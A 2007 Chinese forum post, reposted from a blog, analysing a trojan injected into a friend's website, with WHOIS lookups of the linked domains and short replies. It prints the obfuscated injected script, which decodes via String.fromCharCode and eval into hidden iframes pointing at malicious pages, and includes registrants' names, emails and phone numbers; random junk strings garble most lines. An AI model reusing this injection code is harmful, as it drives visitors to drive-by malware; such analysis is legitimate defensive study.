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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, zcIZJVYA  
!Aj_r^[X`  
http://www.areway.cn/?p=175 0fi+tc 30  
&S''fxGL  
NBUM* Z  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: OM}:1He  
          SJy:5e?zk  
<script>t=’60,105,102,114,97,109,101, y$4,r4cmR|  
32,115,114,99,61,104,116,116,112,58,47,47, MFE~bU(h  
102,114,101,101,46,117,45,117,117,117,46,99, :rk]o*  
110,47,101,114,114,111,114,46,104,116,109, ?=Ma7 y  
32,119,105,100,116,104,61,49,48,48,32,104, `(*5yXC  
101,105,103,104,116,61,48,62,60,47,105,102, 1H ZexV  
114,97,109,101,62′; %GIla *  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> ]f\rB8k|&  
                                                                                                  9hq7:  
<script>t=’60,105,102,114,97,109,101,32,115, b!N`@m=  
114,99,61,104,116,116,112,58,47,47,102,114, 4bKZ@r%  
101,101,46,117,45,117,117,117,46,99,110,47, _6|b0*jv'&  
101,114,114,111,114,46,104,116,109,32,119, bv] ZUF0  
105,100,116,104,61,49,48,48,32,104,101,105, .=NK^  
103,104,116,61,48,62,60,47,105,102,114,97, m:H )b{  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); kn<[v;+  
document.write(t);</script> .h6h&[TEU  
                                                                                                  X$xqu\t7  
<html xmlns=” B^OhL!*tI  
http://www.w3.org/1999/xhtml q80?C.,`  
“> <k)rfv7  
<head> `aUA_"f  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> fL@[B{XMM  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> %URyGS]*  
<title>首页 - 爱生活家庭网 RS93_F8   
                                                                                                                                                    LPXwfEHOm  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 -}>Q0d)  
转换字符串后的大概内容是(谁点击后果自付): OU[Sm7B  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… H<q:+  
                                                                                                                                  "kL5HD]TC  
查询玉米u-uuu.cn的详细信息: Io:xG6yG  
Domain Name: u-uuu.cn nqV7Db~  
ROID: 20070901s10001s64972306-cn \;sUJr"$  
Domain Status: ok @U9ov >E  
Registrant Organization: 王雷 ?iq:Gf  
Registrant Name: 王雷 :8rqTBa`  
Administrative Email: czlovexs@126.com X-%*`XG'  
Sponsoring Registrar: 北京万网志成科技有限公司 v<c8qg  
Name Server:ns.yovole.com {:"bX~<^  
Name Server:ns1.yovole.com a]Lr<i8#%  
Registration Date: 2007-09-01 17:54 uXp0D$a  
Expiration Date: 2008-09-01 17:54 VMNihx0FJ  
最后PING了一下地址 都没有什么…. 1p tPey  
                                                                                                UrtN3icph  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. S |B7HS5  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> u=4tW:W,  
<script language=”javascript” src=” eHv/3"Og  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script !]"T`^5,Y  
> -Z#A}h  
这个玉米应该有可能是木马作者的: | 0&~fY  
foafau.info的详细信息: X2EC+<  
Access to INFO WHOIS information is provided to assist persons in \ET7  
determining the contents of a domain name registration record in the N (43+  
Afilias registry database. The data in this record is provided by $V@IRBm  
Afilias Limited for informational purposes only, and Afilias does not (l$bA_F \  
guarantee its accuracy.  This service is intended only for query-based h-6kf:XP%  
access. You agree that you will use this data only for lawful purposes |i|>-|`!  
and that, under no circumstances will you use this data to: (a) allow, 76hi@7a  
enable, or otherwise support the transmission by e-mail, telephone, or p( z.[  
facsimile of mass unsolicited, commercial advertising or solicitations "d{ |_Cf  
to entities other than the data recipient’s own existing customers; or yJ?4B?p(  
(b) enable high volume, automated, electronic processes that send X${k  
queries or data to the systems of Registry Operator, a Registrar, or iptzVr#b[  
Afilias except as reasonably necessary to register domain names or +H+OYQ>^  
modify existing registrations. All rights reserved. Afilias reserves QupCr/Hs  
the right to modify these terms at any time. By submitting this query, }PoB`H'K5  
you agree to abide by this policy. JH2d+8O:qK  
Domain ID:D22418703-LRMS RU@`+6 j+  
Domain Name:FOAFAU.INFO ]r|X[9  
Created On:20-Nov-2007 16:05:42 UTC >8QLo8)3C  
Last Updated On:20-Nov-2007 16:05:44 UTC ?*Jv&f#  
Expiration Date:20-Nov-2008 16:05:42 UTC $_NVy>\&  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) aLG6yVtu  
Status:CLIENT DELETE PROHIBITED {Z$Aw4a"d  
Status:CLIENT RENEW PROHIBITED c!j$ -Ovm  
Status:CLIENT TRANSFER PROHIBITED 2y,f  
Status:CLIENT UPDATE PROHIBITED \|Us/_h  
Status:TRANSFER PROHIBITED O$KLQ'0"n  
Registrant ID:GODA-040110615 7hQrL+%q8  
Registrant Name:liu hong r IY_1  
Registrant Organization: @/7tN3O  
Registrant Street1:beijing   Lxs  
Registrant Street2: XB^o>/|@S  
Registrant Street3: lor jMS  
Registrant City:beijing K oo%mr   
Registrant State/Province: L_Ff*   
Registrant Postal Code:100000 YG$Y4h" @"  
Registrant Country:CN e'p'{]r<w  
Registrant Phone:+86.860108888777 AYfW}V"  
Registrant Phone Ext.: KP%A0   
Registrant FAX: 5hg:@i',  
Registrant FAX Ext.: R8sj>.I9j  
Registrant Email:bbbshiji@163.com &KmV tj  
Admin ID:GODA-240110615 %;~Vc{Xxt/  
Admin Name:liu hong >2tYw,m  
Admin Organization: Etj@wy/E  
Admin Street1:beijing Mnc9l ^  
Admin Street2: ]oUvC  
Admin Street3: 1pg&?L.MA  
Admin City:beijing `$Z:j;F  
Admin State/Province: !#Ub*qY1Z  
Admin Postal Code:100000 [RoOc)u  
Admin Country:CN j KGfm9|zj  
Admin Phone:+86.860108888777 'S;INs2|->  
Admin Phone Ext.: ;p)RMRMg  
Admin FAX: )[oegfnn-  
Admin FAX Ext.: !{>'jvH  
Admin Email:bbbshiji@163.com ibAZ=RD  
Billing ID:GODA-340110615 xf% _HMKc  
Billing Name:liu hong m&a.i B  
Billing Organization: &{-r 5d23  
Billing Street1:beijing ;SnpD)x@)  
Billing Street2: f#f<Ii  
Billing Street3: Pq u]?X  
Billing City:beijing *t=8^q(K[  
Billing State/Province: % Ya%R@b}  
Billing Postal Code:100000 e ?sMOBPlv  
Billing Country:CN _UI*W&*  
Billing Phone:+86.860108888777 v#c'p^T  
Billing Phone Ext.: A#k(0e!O  
Billing FAX: <hkSbJF  
Billing FAX Ext.: >>bsr#aJ  
Billing Email:bbbshiji@163.com JbX"K< nQ  
Tech ID:GODA-140110615 wIQ~a  
Tech Name:liu hong H{ M7_1T  
Tech Organization: 71b0MHNkvv  
Tech Street1:beijing }$%j}F{  
Tech Street2: wr5ScsNS  
Tech Street3: *uW l 804  
Tech City:beijing O2{~Q{p  
Tech State/Province: )SU\s+"M  
Tech Postal Code:100000 #K#BNpG|  
Tech Country:CN LY:%k|L9  
Tech Phone:+86.860108888777  R.x^  
Tech Phone Ext.: @I"&k!e<2  
Tech FAX: aQ.QkM Z  
Tech FAX Ext.: ty ESDp%  
Tech Email:bbbshiji@163.com  A:b(@'h  
Name Server:NS27.DOMAINCONTROL.COM }uR[H2D`L  
Name Server:NS28.DOMAINCONTROL.COM e'I/}J  
Name Server: _+7+90u  
Name Server: Ah 2*7@U  
Name Server: *qa.hqas  
Name Server: Kd r7 V  
Name Server: )fy-]Ky *  
Name Server: ~ECIL7,  
Name Server: kz_gR;"(Z  
Name Server: q]scKWYI  
Name Server: o%yfR.M6$  
Name Server: XQ3"+M_KG  
Name Server: J tvZ~s  
                                                                                                          Y5{KtW  
接着下载每个文件里面的代码: y#T.w0*  
一步一步看.. DHq#beN  
6,;dU-A+  
%1oB!+tv  
J5TT+FQ  
]z#+3DaH  
HKL/ D  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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